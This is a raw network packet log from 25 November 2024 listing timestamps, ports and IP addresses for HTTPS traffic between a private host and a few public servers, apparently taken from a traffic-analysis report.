Nov 25, 2024 05:58:26.328068972 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:26.328413963 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:26.328500032 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:26.328521967 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:26.371328115 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:26.371819973 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:26.700278997 CET	443	49770	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:26.700757027 CET	49770	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:26.700809002 CET	443	49770	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:26.700891972 CET	49770	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:26.701566935 CET	49777	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:26.701598883 CET	443	49777	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:26.701693058 CET	49777	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:26.702094078 CET	49777	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:26.702105999 CET	443	49777	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:27.021038055 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.021099091 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.021142960 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.021186113 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.021194935 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.021239996 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.021244049 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.034202099 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.034275055 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.034277916 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.034291029 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.034342051 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.040379047 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.052848101 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.052913904 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.052922010 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.101594925 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.140438080 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.193202972 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.193216085 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.216330051 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.216394901 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.216411114 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.225060940 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.225102901 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.225111961 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.233830929 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.233875990 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.233882904 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.246221066 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.246268988 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.246277094 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.260039091 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.260087013 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.260096073 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.272782087 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.272927999 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.272934914 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.283593893 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.283644915 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.283652067 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.294270992 CET	443	49748	142.250.181.68	192.168.2.4
Nov 25, 2024 05:58:27.294420958 CET	443	49748	142.250.181.68	192.168.2.4
Nov 25, 2024 05:58:27.294490099 CET	49748	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:58:27.296499014 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.296570063 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.296577930 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.309331894 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.309576988 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.309583902 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.322063923 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.322153091 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.322160006 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.335597038 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.335654020 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.335660934 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.341051102 CET	49748	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:58:27.341077089 CET	443	49748	142.250.181.68	192.168.2.4
Nov 25, 2024 05:58:27.344171047 CET	49779	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:27.344260931 CET	443	49779	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:27.344413996 CET	49779	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:27.346041918 CET	49779	443	192.168.2.4	172.217.19.238
Nov 25, 2024 05:58:27.346077919 CET	443	49779	172.217.19.238	192.168.2.4
Nov 25, 2024 05:58:27.347660065 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.347704887 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.347712994 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.399343014 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.399359941 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.404668093 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.404720068 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.404731989 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.405138969 CET	443	49776	4.175.87.197	192.168.2.4
Nov 25, 2024 05:58:27.405214071 CET	49776	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:58:27.406989098 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.407036066 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.407044888 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.408855915 CET	49776	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:58:27.408868074 CET	443	49776	4.175.87.197	192.168.2.4
Nov 25, 2024 05:58:27.409081936 CET	443	49776	4.175.87.197	192.168.2.4
Nov 25, 2024 05:58:27.415774107 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.415843964 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.415855885 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.427957058 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.428078890 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.428078890 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.428107977 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.428174019 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.440701008 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.442831993 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.442888975 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.442897081 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.454243898 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.454355955 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.454363108 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.461855888 CET	49776	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:58:27.465043068 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.465219021 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.465224981 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.476703882 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.476748943 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.476767063 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.488162041 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.488257885 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.488293886 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.499778986 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.499938965 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.499946117 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.510370016 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.510607004 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.510613918 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.521050930 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.521159887 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.521168947 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.531152964 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.531331062 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.531353951 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.541188002 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.541441917 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.541451931 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.550605059 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.550684929 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.550690889 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.559674978 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.559770107 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.559782982 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.567080021 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.567212105 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.567219019 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.575459003 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.575572968 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.575593948 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.583621025 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.583713055 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.583720922 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.592097998 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.592142105 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.592159033 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.600460052 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.600502014 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.600517988 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.609013081 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.609055042 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.609066963 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.611088991 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.611156940 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.611162901 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.615833998 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.615933895 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.615942001 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.621231079 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.621359110 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.621366978 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.626238108 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.626321077 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.626337051 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.631308079 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.631396055 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.631412029 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.636507988 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.636550903 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.636568069 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.641580105 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.641638994 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.641645908 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.646220922 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.646347046 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.646354914 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.651241064 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.651295900 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.651310921 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.656486034 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.656560898 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.656568050 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.661644936 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.661703110 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.661710024 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.666795015 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.666851997 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.666857004 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.671453953 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.671490908 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.671505928 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.676542044 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.676594973 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.676599026 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.681318998 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.681366920 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.681371927 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.686256886 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.686306000 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.686310053 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.691301107 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.691353083 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.691356897 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.696161032 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.696361065 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.696378946 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.701020002 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.701050997 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.701072931 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.701077938 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.701179028 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.705912113 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.711477995 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.711539984 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.711544991 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.715584993 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.715652943 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.715689898 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.715696096 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.715909004 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.721530914 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.725195885 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.725298882 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.725306034 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.731571913 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.731705904 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.731710911 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.734555960 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.734600067 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.734603882 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.741034031 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.741102934 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.741113901 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.741118908 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.741153955 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.743912935 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.750026941 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.750116110 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.750124931 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.750129938 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.750226974 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.753056049 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.758687973 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.758768082 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.758923054 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.758929014 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.759280920 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.762027979 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.767064095 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.767136097 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.767141104 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.771246910 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.771344900 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.771351099 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.775407076 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.775496006 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.775688887 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.775695086 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.776320934 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.779618979 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.788031101 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.788098097 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.788105011 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.789756060 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.789836884 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.789848089 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.793492079 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.793560028 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.793565035 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.797234058 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.797322989 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.797327995 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.801065922 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.801197052 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.801389933 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.801395893 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.801652908 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.804584980 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.804717064 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.804974079 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.804977894 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.808300972 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.808391094 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.808394909 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.811865091 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.811959982 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.811964989 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.815273046 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.815329075 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.815332890 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.818660975 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.818922043 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.818933010 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.822026014 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.822132111 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.822135925 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.834019899 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.834122896 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.834127903 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.835634947 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.835719109 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.835724115 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.836817980 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.836939096 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.836944103 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.837476015 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.837528944 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.837543964 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.838830948 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.838902950 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.838907003 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.841129065 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.841245890 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.841260910 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.844091892 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.844158888 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.844162941 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.847162008 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.847346067 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.847349882 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.849984884 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.850296021 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.850307941 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.852837086 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.852901936 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.852905989 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.855726004 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.855787039 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.855799913 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.858455896 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.858562946 CET	49774	443	192.168.2.4	172.217.17.78
Nov 25, 2024 05:58:27.858567953 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.863759041 CET	443	49774	172.217.17.78	192.168.2.4
Nov 25, 2024 05:58:27.863939047 CET	49774	443	192.168.2.4	172.217.17.78
